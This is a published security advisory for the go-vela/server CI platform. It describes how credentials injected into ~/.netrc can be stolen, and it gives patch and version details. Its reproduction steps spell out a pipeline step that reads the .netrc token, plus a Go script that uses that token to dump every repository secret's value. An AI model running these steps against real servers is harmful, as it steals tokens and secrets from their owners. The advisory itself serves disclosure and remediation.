GHSA-8j3f-mhq8-gmh4

Suggest an improvement
Source
https://github.com/advisories/GHSA-8j3f-mhq8-gmh4
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2022/02/GHSA-8j3f-mhq8-gmh4/GHSA-8j3f-mhq8-gmh4.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-8j3f-mhq8-gmh4
Aliases
Published
2022-02-15T01:57:18Z
Modified
2023-11-08T04:04:46.020058Z
Severity
  • 7.5 (High) CVSS_V3 - CVSS:3.1/AV:A/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:L CVSS Calculator
Summary
Reject unauthorized access with GitHub PATs
Details

Impact

What kind of vulnerability is it? Who is impacted?

The additional auth mechanism added within https://github.com/go-vela/server/pull/246 enables some malicious user to obtain secrets utilizing the injected credentials within the ~/.netrc file. Steps to reproduce

  1. Create Vela server
  2. Login to Vela UI
  3. Promote yourself to Vela administrator
    • UPDATE users SET admin = 't' WHERE name = <username>
  4. Activate repository within Vela
  5. Add .vela.yml to the repository with the following content

    version: "1"
    
    steps:
    - name: steal
      image: alpine
      commands:
        - cat ~/.netrc
    
  6. Look at build logs to find the following content

    $ cat ~/.netrc
    machine &lt;GITHUB URL>
    login x-oauth-basic
    password <token>
    
  7. Copy the password to be utilized in some later step

  8. Add secret(s) to activated repo
  9. Copy the following script into main.go

    package main
    
    import (
        "fmt"
        "github.com/go-vela/sdk-go/vela"
        "os"
    )
    
    func main() {
        // create client to connect to vela
        client, err := vela.NewClient(os.Getenv("VELA_SERVER_ADDR"), "vela", nil)
        if err != nil {
            panic(err)
        }
    
        // add PAT to request
        client.Authentication.SetPersonalAccessTokenAuth(os.Getenv("VELA_TOKEN"))
    
    
        secrets, _, err := client.Admin.Secret.GetAll(&vela.ListOptions{})
        if err != nil {
            panic(err)
        }
    
        for _, secret := range *secrets {
            fmt.Println(*secret.Name)
            fmt.Println(*secret.Value)
        }
    }
    
  10. Run the main.go with environment specific settings

    • VELA_SERVER_ADDR=http://localhost:8080 VELA_TOKEN=&lt;token obtained previously> go run main.go

The previously posted script could be updated to utilize any API endpoint(s) the activated user has access against.

Patches

Has the problem been patched? What versions should users upgrade to?

  • Upgrade to v0.7.5 or later

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading?

  • No known workarounds

References

Are there any links users can visit to find out more?

  • https://github.com/go-vela/server/pull/246
  • https://docs.github.com/en/enterprise-server@3.0/rest/reference/apps#check-a-token

For more information

If you have any questions or comments about this advisory

References

Affected packages

Go / github.com/go-vela/server

Package

Name
github.com/go-vela/server
View open source insights on deps.dev
Purl
pkg:golang/github.com/go-vela/server

Affected ranges

Type
SEMVER
Events
Introduced
0.7.0
Fixed
0.7.5